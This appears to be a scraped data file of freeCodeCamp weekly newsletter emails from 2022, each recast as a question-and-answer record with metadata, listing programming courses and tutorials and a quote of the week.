Engineer Flavio Copes will teach you how to set up your Go development environment. Then you'll learn about Golang control flow and data structures. You can bookmark this for reference as you expand your Go skills. (1 hour read): https://www.freecodecamp.org/news/go-beginners-handbook/\n\n5. What exactly is a database? This quick tutorial will explain how Relational Database Management Systems work. You'll learn a brief history of databases. And even how to write some of your own SQL queries. (20 minute read): https://www.freecodecamp.org/news/dbms-and-sql-basics/\n\nQuote of the Week: *\"In C, there's no magic. If you want something to be somewhere in memory, you have to put it there yourself. If you want a hash table, you have to implement it yourself. The result by term's end, we hope, is that students understand how things work from the bottom up and, better yet, can explain as much.\"* — David J. Malan, the Computer Science professor who teaches Harvard CS50", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741135"}
{"id": "gh_10383743f80c", "question": "How to: Oct 14, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. DevOps engineers help software run at massive scale. The field of DevOps combines programming – the Dev part – with system administration – the Ops part. It is a highly specialized – and high-paying – field to go into. This course for intermediate learners will teach you two of the most widely-used DevOps tools: Docker and Kubernetes. You'll learn about Containers, Microservices, Persistence, Observability, and more. With these in your toolbox, you'll be able to efficiently scale your apps, websites, and APIs to millions of users. (6 hour YouTube course): https://www.freecodecamp.org/news/learn-docker-and-kubernetes-hands-on-course/\n\n2. Do you remember those old clickety-clackety arrival-departure schedule boards? The kind you might see in a train station or an airport? In this JavaScript course for beginners, you'll code one of those. And you'll code that same flight widget in three ways: with plain-vanilla JS, with a REST API, and with a database. Along the way, freeCodeCamp teacher Ania Kubów will teach you a ton about full-stack development. (2 hour YouTube course): https://www.freecodecamp.org/news/code-a-project-three-different-ways-javascript-rest-api-database/\n\n3. Big O Notation is a tool that developers use to understand how much time a piece of code will take to execute. Computer Scientists call this \"Time Complexity.\" This comes up all the time in day-to-day programming, and in job interviews. As a developer, you will definitely want to understand Big O Notation well. And that's precisely why freeCodeCamp engineer Joel Olawanle wrote this Big O cheat sheet for you, complete with code examples. You can bookmark it, then refer to it when you need to calculate the Time Complexity of your code. (18 minute read): https://www.freecodecamp.org/news/big-o-cheat-sheet-time-complexity-chart/\n\n4. Learn the Angular JavaScript framework by coding your own ecommerce web shop. This beginner course – taught by frequent freeCodeCamp contributor Slobodan Gajic – will teach you Angular fundamentals. You'll set up your development environment, build a homepage, code the shopping cart logic, and even implement Stripe checkout. (4 hour YouTube course): https://www.freecodecamp.org/news/build-a-webshop-with-angular-node-js-typescript-stripe/\n\n5. An IIFE stands for Immediately Invoked Function Expression. I must admit, I had to look up that acronym. This in-depth tutorial by prolific freeCodeCamp contributor Oluwatobi Sofela will walk you through JavaScript Functions, Parameters, Code Blocks, and IIFEs too. An excellent resource for the beginner JS developer. (20 minute read): https://www.freecodecamp.org/news/javascript-function-iife-parameters-code-blocks-explained/\n\nQuote of the Week: *\"Telling a programmer there's already a library to do X is like telling a songwriter there's already a song about love.\"* — Pete Cordell, C++ Developer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741145"}
{"id": "gh_34f930609ac3", "question": "How to: Oct 7, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Pytorch is a popular framework for doing Machine Learning in Python. You can use it to build data models, then ask questions of those models. If you're interested in Data Science, and know a bit of Python, this course is a solid place to start your journey. You'll code along at home as you learn about Datasets, Neural Networks, Computer Vision, and more. (26 hour YouTube course): https://www.freecodecamp.org/news/learn-pytorch-for-deep-learning-in-day/\n\n2. And if you're new to Python programming, this course focuses on core concepts rather than just the language syntax. You'll explore Computer Science concepts like Primitive Data Types, Memory Allocation, Error Handling, and Scope. (9 hour YouTube course): https://www.freecodecamp.org/news/learn-python-by-thinking-in-types/\n\n3. Linux is a popular operating system for Security Researchers. It's open source and highly customizable. This tutorial will walk you through how some popular distros – like Kali, Arch, and Ubuntu – work under the hood. You'll get a feel for their many moving parts, and the common shell commands used in infosec. (30 minute read): https://www.freecodecamp.org/news/linux-basics/\n\n4. And if you have always wanted to learn some Java, you're in luck. We just published a Java for Beginners course, taught by Java Engineer and prolific freeCodeCamp instructor Farhan Chowdhury. You'll learn all about Java's Data Types, Operators, Conditional Statements, Loops, and even some Object-Oriented Programming. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-java-programming/\n\n5. One of the most powerful concepts in CSS is Selectors. You can use Selectors to grab an HTML element from a website's DOM. You can then style these elements, or run JavaScript on them. This tutorial will teach you all about Attribute Selectors, CSS Combinators, Pseudo-Element Selectors, and more. (30 minute read): https://www.freecodecamp.org/news/css-selectors-cheat-sheet-for-beginners/\n\nQuote of the Week: *\"I hooked a neural network up to my Roomba. I wanted it to learn to navigate without bumping into things, so I set up a reward scheme to encourage speed and discourage hitting the bumper sensors. It learnt to drive backwards, because there are no bumpers on the back.\"* — Custard Smingleigh, Developer and Roboticist", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741154"}
{"id": "gh_247d30901541", "question": "How to: Sep 30, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. We just published Machine Learning for Everybody, a course for intermediate developers and students who are interested in AI. freeCodeCamp instructor Kylie Ying (of CERN and MIT) will teach you about key concepts like Classification, Regression, and Training Models. You'll code in Python and learn how to use TensorFlow, Jupyter Notebooks, and other powerful tools. (4 hour YouTube course): https://www.freecodecamp.org/news/machine-learning-for-everybody/\n\n2. Learn JavaScript game development and code your own space shooter game. This GameDev course will teach you about HTML Canvas, Object-Oriented Programming, Core Gameplay Loops, Parallax Scrolling, and more. (2 hour YouTube course): https://www.freecodecamp.org/news/how-to-code-a-2d-game-using-javascript-html-and-css/\n\n3. Kali Linux is a popular operating system in the information security community. If you watched the show Mr. Robot, it's the main operating system the characters use while carrying out their exploits. This step-by-step tutorial will show you how to install Kali Linux so you can leverage the tools of the trade. (20 minute read): https://www.freecodecamp.org/news/how-to-install-kali-linux/\n\n4. Learn how to build your own ecommerce shop back end from Software Engineer and freeCodeCamp Instructor Ania Kubów. She'll walk you through using PostgreSQL, Stripe, and REST APIs to build 3 internal B2B apps – all using Low Code tools that require less coding. By the end of this course, you'll have your own order management dashboard, employee dashboard, and developer portal. (2 hour YouTube course): https://www.freecodecamp.org/news/create-a-low-code-ecommerce-app-with-stripe-postgres-rest-api-backend/\n\n5. What's the difference between Authentication and Authorization? These two concepts are related, but there's a bit of nuance. Authentication is the process of verifying your credentials, and that you're allowed to access a system. Authorization involves verifying what you're allowed to do within that system. This tutorial will help you better understand these security concepts so you can apply them as a developer. (10 minute read): https://www.freecodecamp.org/news/whats-the-difference-between-authentication-and-authorisation\n\nQuote of the Week: *\"Changing random stuff until your program works is ‘hacky’ and a ‘bad coding practice’. But if you do it fast enough, it's called ‘Machine Learning’ and pays 4x your current salary.\"* — Steve Maine, Software Engineer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741163"}
{"id": "gh_da246491a3d7", "question": "How to: Sep 23, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a Python Algorithms for Beginners course. You'll learn Recursion, Binary Search, Divide and Conquer Algorithms, The Traveling Salesman Problem, The N-Queens Problem, and more. You'll also solve a lot of algorithm challenges. (2 hour YouTube course): https://www.freecodecamp.org/news/intro-to-algorithms-with-python/\n\n2. Learn Three.js and React by coding your own playable Minecraft game. This JavaScript GameDev course will teach you about textures, 3D camera angles, keyboard input events, and more. (2 hour YouTube course): https://www.freecodecamp.org/news/code-a-minecraft-clone-using-react-and-three-js/\n\n3. Selectors are one of the most powerful concepts in CSS. And this tutorial will show common ways of grabbing HTML elements from a website's DOM using Selectors. You can then style these elements or run JavaScript on them. You'll also learn about CSS IDs, Classes, and Pseudo-classes. You'll even learn about the mythical, magical Universal Selector. (12 minute read): https://www.freecodecamp.org/news/how-to-select-elements-to-style-in-css/\n\n4. freeCodeCamp also just published a long-requested Jenkins course. Jenkins is a powerful open source automation server. Developers often use Jenkins for running tests on their codebase before deploying it to the cloud. In this course, you'll learn DevOps Pipeline concepts, Debian Linux Command Line Interface tips, and about Docker & DockerHub. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-jenkins-by-building-a-ci-cd-pipeline/\n\n5. You may have heard the terms “white hat”, “black hat”, or even “red hat.” These are terms used in cybersecurity to express whether someone is an attacker, a defender, or a “hacktivist” with a broader agenda. In this fun, totally-not-scientific overview of the types of hackers, Daniel will help you learn each of these through comparisons with popular comic book figures. Which hat would Batman wear if he were in security? (8 minute read): https://www.freecodecamp.org/news/white-hat-black-hat-red-hat-hackers/\n\nQuote of the Week: *\"Programming is the art of algorithm design and the craft of debugging errant code.\"* — Ellen Ullman, Programmer and Author", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741172"}
{"id": "gh_500621a42079", "question": "How to: Sep 16, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published an HTML & CSS for Beginners course, where you learn by coding along at home and building 5 projects. It's taught by experienced software engineer and tech CEO Per Borgan. This course will teach you about Text Elements, the CSS Box Model, Chrome Devtools, Document Structure, and more. (5 hour YouTube course): https://www.freecodecamp.org/news/learn-html-and-css-from-the-ceo-of-scrimba/\n\n2. What are the main differences between SQL and NoSQL? And which should you use in which situations? In this course, freeCodeCamp instructor Ania Kubów will teach you about common Database Models like Relational Databases, Key-Value DBs, Document DBs, and Wide Column DBs. More tools for your developer toolbox. (1 hour YouTube course): https://www.freecodecamp.org/news/sql-vs-nosql-tutorial/\n\n3. When you visit a webpage, everything you see is HTML elements rendered with the Document Object Model. But how does the DOM work? In this hands-on tutorial by Front-End Engineer Ophelia Boamah, you'll code your own car shopping User Interface. You'll learn about DOM Selectors, Event Listeners, and more. (25 minute read): https://www.freecodecamp.org/news/the-javascript-dom-a-practical-tutorial/\n\n4. If you have a developer job interview coming up, you may want to brush up on your React. Veteran software engineer Nishant Singh will walk you through 20 common React interview questions, and share his process for solving them. This is an ideal course for intermediate JavaScript developers. (5 hour YouTube course): https://www.freecodecamp.org/news/top-30-react-interview-questions-and-concepts/\n\n5. You may have heard that one of the best ways to solidify your developer skills is to contribute to open source software. But getting started can be a confusing process. Thankfully, prolific freeCodeCamp contributor Tapas Adhikary has created a comprehensive beginner's manual to help you understand OSS, identify where you can help, and get your first pull request merged. (30 minute read): https://www.freecodecamp.org/news/a-practical-guide-to-start-opensource-contributions/\n\nQuote of the Week: *\"Anyone who has lost track of time when using a computer knows the propensity to dream, the urge to make dreams come true, and the tendency to miss lunch.\"* — Tim Berners-Lee, Creator of HTML, and Inventor of the World Wide Web (Yeah, this is one impactful dev.)", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741181"}
{"id": "gh_79ebca568b7a", "question": "How to: Sep 9, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn React for Beginners. This new freeCodeCamp Front-End JavaScript course will teach you all about React Hooks, State, the Context API, and more. You'll code along with three experienced software engineers, building projects step-by-step. (8 hour YouTube course): https://www.freecodecamp.org/news/learn-react-from-three-all-star-instructors/\n\n2. And if you'd prefer to learn Angular, I'm thrilled to share this course with you as well: Learn Angular and TypeScript for Beginners. This in-depth course will teach you TypeScript Data Types, Angular Directives, Components, RxJS, and Lifecycle Hooks. (18 hour YouTube course): https://www.freecodecamp.org/news/angular-for-beginners-course/\n\n3. freeCodeCamp also just published a full-length Java Programming Handbook to help beginners get started. You'll learn about the Java Virtual Machine, Java IDEs, Data Types, Operators, and more. This should serve as an excellent resource for you over the coming years, so I encourage you to read some of it and bookmark it as a reference. (full-length book): https://www.freecodecamp.org/news/the-java-handbook/\n\n4. With Windows Subsystem for Linux, you can now use Linux right inside Windows on your PC. This said, many developers prefer to dual boot Windows 10 and Ubuntu Linux on the same computer. This tutorial will walk you through dual-booting best practices, so you can have the best of both worlds, Captain Picard style. (12 minute read): https://www.freecodecamp.org/news/how-to-dual-boot-windows-10-and-ubuntu-linux-dual-booting-tutorial/\n\n5. September is World Translation Month. And the freeCodeCamp community is kicking our translation effort into high gear. If you or your friends grew up speaking a language other than English, I encourage you to get involved. We have more than 9,000 English-language coding tutorials. And we want to make them easier to understand for folks less comfortable reading English. We have powerful software to help you make the most of any time you're able to volunteer. (12 minute read): https://www.freecodecamp.org/news/world-translation-month-is-back-how-can-you-contribute-to-translate-freecodecamp-into-your-language/\n\nQuote of the Week: *\"Is your child texting about JavaScript frameworks? Know the signs:\nrofl - React offers fast learning\nbrb - building Redux boilerplate\nlmao - love mastering Angular objects\nimo - instantiating eMber observables\nnvm - need Vue mixins\nwtf - Webpack's the fastest\"* — Laurie Voss, Web Developer and co-creator of npm", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741192"}
{"id": "gh_9eba73a50496", "question": "How to: Sep 2, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published an in-depth CSS for Beginners course, taught by an experienced developer and software architect. You'll learn Selectors, Typography, Variables, CSS Flexbox, CSS Grid, and other key concepts. You don't have to rely on templates and copy-pasted CSS examples. If you put in the time, you can understand how CSS really works under the hood. This course is a solid starting point. (11 hour YouTube course): https://www.freecodecamp.org/news/learn-css-in-11-hours/\n\n2. Learn Python by building 20 beginner projects. You can code along at home, and get practice by writing these Python scripts yourself. Along the way, you'll code your own calculator, image resizer, dice roller, and even a Rock-Paper-Scissors game. (3 hour YouTube course): https://www.freecodecamp.org/news/20-beginner-python-projects/\n\n3. How to protect your personal digital security. This guide will teach you several practical Information Security tips, straight from a Threat Intelligence expert. (10 minute read): https://www.freecodecamp.org/news/personal-digital-security-an-intro/\n\n4. One way you can boost your security is by using asymmetric encryption. SSH is a popular protocol for securely connecting to a server. Linux, Git, and many other tools use SSH. This tutorial will show you how to create your own SSH key from your computer's command line, and explain how the technology works. (8 minute read): https://www.freecodecamp.org/news/ssh-keygen-how-to-generate-an-ssh-public-key-for-rsa-login/\n\n5. One of the most common ways developers mess up their security is by accidentally sharing their API keys on GitHub. You can avoid this mistake by using Git's built-in .gitignore feature. This tutorial will show you how you can safely put your code's API keys and other sensitive information into a .env file, and prevent Git from committing certain files or folders. (12 minute read): https://www.freecodecamp.org/news/gitignore-file-how-to-ignore-files-and-folders-in-git/\n\nQuote of the Week: *\"CSS is a programming language. As unintuitive as it might feel to you at times, it's not just these random things that happen. It's built using very specific rules. The problem is that most people never learn those rules. We start learning CSS by learning the syntax, which is super simple. That tricks us into thinking that it's a simple language. Don't let the simple syntax trick you. Dive into it and learn how it works.\"* — Kevin Powell, Software Engineer, CSS Educator, and freeCodeCamp contributor", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741202"}
{"id": "gh_045fdf21744e", "question": "How to: Aug 26, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published an in-depth Front End Developer course, taught by a software engineer and freeCodeCamp alum. You'll learn HTML, CSS, DOM manipulation, and how to use your browser's DevTools. You'll also learn key JavaScript concepts, such as primitives, functions, loops, control flow logic, Regular Expressions, and more. This is a beginner course, and it's good review for intermediate developers as well. (21 hour YouTube course): https://www.freecodecamp.org/news/frontend-web-developer-bootcamp/\n\n2. My friend Andrew Brown is a CTO and has an encyclopedic knowledge of Cloud Engineering. He's passed most of the AWS and Azure cloud certification exams. And this week, we released his latest course, which will help you pass the Microsoft Azure Developer Associate exam (AZ-204). Lots of people in the freeCodeCamp community have earned these certs to level-up their DevOps and Site Reliability Engineer careers. (13 hour YouTube course): https://www.freecodecamp.org/news/azure-developer-certification-az-204-pass-the-exam-with-this-free-13-5-hour-course/\n\n3. Markdown is a powerful way to write precise HTML-like documents. I use it every day. By knowing just a little bit of syntax, you can quickly type out a document using plain text. Then you can paste it into websites like GitHub, Stack Overflow, and freeCodeCamp, where it will expand into a Rich Text Document with headers, hyperlinks, and images. You can bookmark this Markdown cheat sheet, and refer to it the next time you want to practice your Markdown skills. (12 minute read): https://www.freecodecamp.org/news/markdown-cheatsheet/\n\n4. Advice from a Full Stack Developer who just finished his first year in tech. Germán talks about his non-traditional path into Argentina's software industry. He shares tips on how to pick a tech stack to specialize in, how to know when you're ready to start applying for roles, and how to cope with the stresses of the job. (50 minute read): https://www.freecodecamp.org/news/my-first-year-as-a-professional-developer-tips-for-getting-into-tech/\n\n5. Lua is a programming language commonly used for modifying video games, such as Roblox. But you can also use it to build entirely new games. This comprehensive course will teach you Lua fundamentals, and how to use the popular LÖVE 2D GameDev framework. You'll even code your own playable version of the 1979 Asteroids arcade game. (11 hour YouTube course): https://www.freecodecamp.org/news/create-games-with-love-2d-and-lua/\n\nQuote of the Week: *\"Some prefer backend, some prefer frontend, but I always prefer weekend.\"* — Dan (@khazifire), Front End Developer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741212"}
{"id": "gh_0bcbf9bbf8fc", "question": "How to: Aug 19, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn C Programming by reading the classic book by C's creators, Dennis Ritchie and Brian Kernighan. In this cover-to-cover read-along, University of Michigan professor Dr. Chuck will guide you through the book, adding his own commentary as a developer and computer scientist. Dr. Chuck has also prepared a number of coding exercises that you can work through to solidify your understanding of key C concepts. You'll learn Operators, Control Flow, Input/Output, and C data structures including Pointers. This is a deep dive into one of the most widely-used languages in the world, as it was first taught nearly 50 years ago. (10 hour YouTube course): https://www.freecodecamp.org/news/learn-c-programming-classic-book-dr-chuck/\n\n2. Stardew Valley is a popular farming video game based off of the Nintendo classic, Harvest Moon. And in this Python GameDev course, you'll use PyGame to build your own playable version of it. You'll code player inventory systems, soil and rain logic, day-night cycles, and even farm animals. Note that this is an intermediate course. If you're new to PyGame, the freeCodeCamp community has several beginner courses as well. (7 hour YouTube course): https://www.freecodecamp.org/news/create-stardew-valley-using-python-and-pygame/\n\n3. Regular Expressions (often abbreviated as RegEx) can help you with everyday tasks like find/replace in your text editor, filtering Trello cards, or web searches with DuckDuckGo. This tutorial will teach you the RegEx basics. You can then naturally expand on your RegEx skills over the years as you use them. (25 minute read): https://www.freecodecamp.org/news/regular-expressions-for-beginners/\n\n4. You may notice a lock in your browser's address bar. This usually means you're communicating with a server through a secure HTTPS connection. And in this tutorial, you'll learn all about HTTPS, and how it improves upon the original HTTP web standard. Along the way, you'll learn about web security, SSL certificates, and symmetric VS asymmetric encryption. There's a good chance you're using HTTPS right now as you read this, so you may enjoy learning a bit more about this engineering marvel. (20 minute read): https://www.freecodecamp.org/news/http-vs-https/\n\n5. Computer Science is one of the most popular university majors in the world. But what exactly is Computer Science? And what do Computer Science students learn? If you're thinking about studying Computer Science in school, this guide will lay out some of the coursework you'll most likely do, and some of the career opportunities such a degree opens up. Note that you can also learn these topics yourself through freeCodeCamp at your own pace. (12 minute read): https://www.freecodecamp.org/news/what-is-a-computer-scientist-what-exactly-do-cs-majors-do/\n\nQuote of the Week: *\"C retains the basic philosophy that programmers know what they are doing. It only requires that they state their intentions explicitly.\"* — Dennis Ritchie and Brian Kernighan, creators of the C programming language. This quote comes from the same book that Dr. Chuck covers in the course I mentioned above.", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741223"}
{"id": "gh_227f22ee77ee", "question": "How to: Aug 12, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a Python for Beginners course. If you are new to Python programming, this is an excellent place to start. You'll learn Logic Operators, Control Flow, Nested Functions, Closures, and even some Python Command Line Interface tools. You'll use these to code your own card game. You can do the entire course in your browser. And another cool milestone: this is the first course we've shot in 4K, with more than 8 million pixels of Python goodness. (5 hour YouTube course): https://www.freecodecamp.org/news/python-programming-course/\n\n2. Software Engineer and freeCodeCamp alumna Madison Kanna developed this beginner HTML and CSS course. You'll code your own user interface. And along the way, she'll teach you about the Client-Server Model, CSS Inheritance, DevTools, and more. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-html-and-css-order-summary-component/\n\n3. When you type information into a website or app, you're using a form. And coding good forms in HTML5 is a high art. This tutorial will teach you how to use Fieldsets, Labels, and Legends. You'll also learn emerging best practices around accessibility and mobile-responsive design. (20 minute read): https://www.freecodecamp.org/news/create-and-validate-modern-web-forms-html5/\n\n4. Learn Event-Driven Architecture with React, Redis, and FastAPI. This course will also teach you the powerful Finite State Machine design pattern. You'll code your own logistics app, complete with budgets, inventory, and deliveries. (2 hour YouTube course): https://www.freecodecamp.org/news/implement-event-driven-architecture-with-react-and-fastapi/\n\n5. Also, freeCodeCamp just published a massive Node.js course in Spanish. (We've also published several Node courses in English, too). If you have Spanish-speaking friends who want to learn programming, please tell them that we now have in-depth courses on a broad range of coding topics. These are all taught in Spanish by Estefania. She's an experienced teacher and software engineer. (8 hour YouTube course): https://www.freecodecamp.org/news/learn-node-js-and-express-in-spanish-course-for-beginners/\n\nQuote of the Week: *\"My favorite language for maintainability is Python. It has simple, clean syntax, object encapsulation, good library support, and optional named parameters.\"* — Bram Cohen, Software Engineer and Inventor of BitTorrent", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741233"}
{"id": "gh_cbba911a4a5e", "question": "How to: Aug 5, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. What is Software Architecture? What are Design Patterns? This handbook will answer these questions. It will also teach you some of the more common patterns, with code examples to help you better understand. You'll learn about Microservice Architecture, the Client-Server Model, Load Balancing, and other practical concepts you can use in your own coding. (1 hour read): https://www.freecodecamp.org/news/an-introduction-to-software-architecture-patterns/\n\n2. If you've been struggling to learn to code on your own, I have good news for you. My friend Jess is running a free part-time coding bootcamp where you can earn the freeCodeCamp Responsive Web Design certification and JavaScript Algorithms and Data Structures certification, together with people from around the world. You can chat with her and other students, and tune in for her weekly live streams. This can help you stay motivated and get unstuck when you run into particularly tricky coding challenges. (3 minute read): https://www.freecodecamp.org/news/free-coding-bootcamp-learn-to-code-with-class-central-and-freecodecamp/\n\n3. Learn Microsoft's .NET 6 framework in this back-end development course. You'll code your own breakfast-themed REST API. You'll learn about routes, requests, services, error handling, and more. (1 hour YouTube course): https://www.freecodecamp.org/news/create-an-industry-level-rest-api-using-net-6/\n\n4. When people say they're trying to get into tech, they often mean they're studying to become a software developer. This said, there are many other careers you can pursue in tech, which require varying degrees of coding skills. In this career guide, Sophia will share 19 different paths into tech – from Mobile App Development to User Experience Design – and some courses you could use to get started in any of them. (30 minute read): https://www.freecodecamp.org/news/how-to-choose-a-tech-career/\n\n5. Have you ever seen a number followed by an exclamation point? In math, this is called a factorial. 5! is the number 5 x 4 x 3 x 2 x 1 = 120. In programming, if an algorithm has n! time complexity, it means it will be extremely slow and inefficient. Thankfully, you can almost always avoid this through more thoughtful programming. This quick tutorial will teach you a bit more about factorials, with some beginner JavaScript exercises for how you can calculate them. (5 minute read): https://www.freecodecamp.org/news/what-is-a-factorial/\n\nQuote of the Week: *\"You can use an eraser on the drafting table or a sledgehammer on the construction site.\"* — Frank Lloyd Wright, American architect, on the importance of starting a project with a well-reasoned design process", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741243"}
{"id": "gh_c9702a3975a1", "question": "How to: July 29, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. This game development course will teach you how to code your own Mario Bros-like 2D platformer games. You'll use the simplest tools available: HTML, CSS, and plain-vanilla JavaScript. You'll learn about sprite animation, parallax scrolling, collision detection, and more. By the end of the course, you'll have your own playable game featuring an adorable flaming chihuahua fighting against a phalanx of mosquitoes. (10 hour YouTube course): https://www.freecodecamp.org/news/learn-javascript-game-development-full-course/\n\n2. The AI Chatbot Handbook. This advanced project will walk you through coding your own chatbot. Some of the tools you'll use include Redis, Python, GPT-J-6B, and the Hugging Face API. You'll learn about architecture, language models, and more. (1 hour read): https://www.freecodecamp.org/news/how-to-build-an-ai-chatbot-with-redis-python-and-gpt/\n\n3. Learn Test-Driven Development with JavaScript. This tutorial will teach you the strengths of this software development methodology. You'll use the Jest library to code your own Unit Tests, Integration Tests, and End-to-End Tests. You'll even learn how to mimic real-life code dependencies using Test Doubles. (40 minute read): https://www.freecodecamp.org/news/test-driven-development-tutorial-how-to-test-javascript-and-reactjs-app/\n\n4. Redux is a popular state management library. It works with major JavaScript front end development frameworks like React, Angular, and Vue. This introduction to Redux will show you how to manage state within your apps. You'll learn about Redux Stores, Actions, and Reducers. (12 minute read): https://www.freecodecamp.org/news/what-is-redux-store-actions-reducers-explained/\n\n5. Elementor is an open source tool that helps you build WordPress websites by dragging-and-dropping elements onto a page. freeCodeCamp developer Beau Carnes will teach you how to use Elementor. You'll build your own WordPress site without needing to write custom code. (80 minute YouTube course): https://www.freecodecamp.org/news/easily-create-a-website-using-elementor-and-wordpress/\n\nQuote of the Week: *\"Old video games couldn’t be won. They just got harder and faster until you died. Just like real life.\"* — Unknown game developer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741252"}
{"id": "gh_9ad6d6259355", "question": "How to: July 22, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn how to think like a computer scientist. Watch this Comp Sci professor code his own motion-detecting avatar from scratch in real time. He doesn't even use the internet. Just JavaScript, HTML, and his intuition. This is a master class in creative problem solving with code. (13 hour YouTube course): https://www.freecodecamp.org/news/how-to-think-like-a-computer-science-professor/\n\n2. Learn all about the JavaScript object data structure. This beginner's guide will teach you some Object-Oriented Programming concepts like Key-Value Pairs, Dot Notation, and Constructors. (20 minute read): https://www.freecodecamp.org/news/objects-in-javascript-for-beginners/\n\n3. One of Silicon Valley's most notorious failures was Color. The startup raised $41 million and launched their mobile app in 2012 only to shutter it after almost nobody used it. What happened? They did not test their product with end users. If only they had built a Minimum Viable Product (MVP) first. Well, that is what you are going to learn how to do with this course. You'll build an MVP that you can immediately use to get feedback from your friends and family. (1 hour YouTube course): https://www.freecodecamp.org/news/how-to-build-a-minimum-viable-product/\n\n4. CSS is an essential tool. It's also a flexible tool. To highlight this, here are 10 different CSS approaches for centering a DOM element. If you code along with these examples, you'll be able to add these approaches to your CSS toolbox. (15 minute read): https://www.freecodecamp.org/news/how-to-center-a-div-with-css-10-different-ways/\n\n5. A Checksum is the result of a cryptographic hash function. You can use Checksums in Linux to compare two copies of the same file across networks, to verify their integrity. Has one of the files been changed? Corrupted? When was it last updated? This quick tutorial will show you how to use the Linux cksum command. (6 minute read): https://www.freecodecamp.org/news/file-last-modified-in-inux-how-to-check-if-two-files-are-same/\n\nQuote of the Week: *\"Computer science inverts the normal. In normal science, you're given a world, and your job is to find out the rules. In computer science, you give the computer the rules, and it creates the world.\"* — Alan Kay, Developer, Computer Scientist, and Father of Object-Oriented Programming", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741262"}
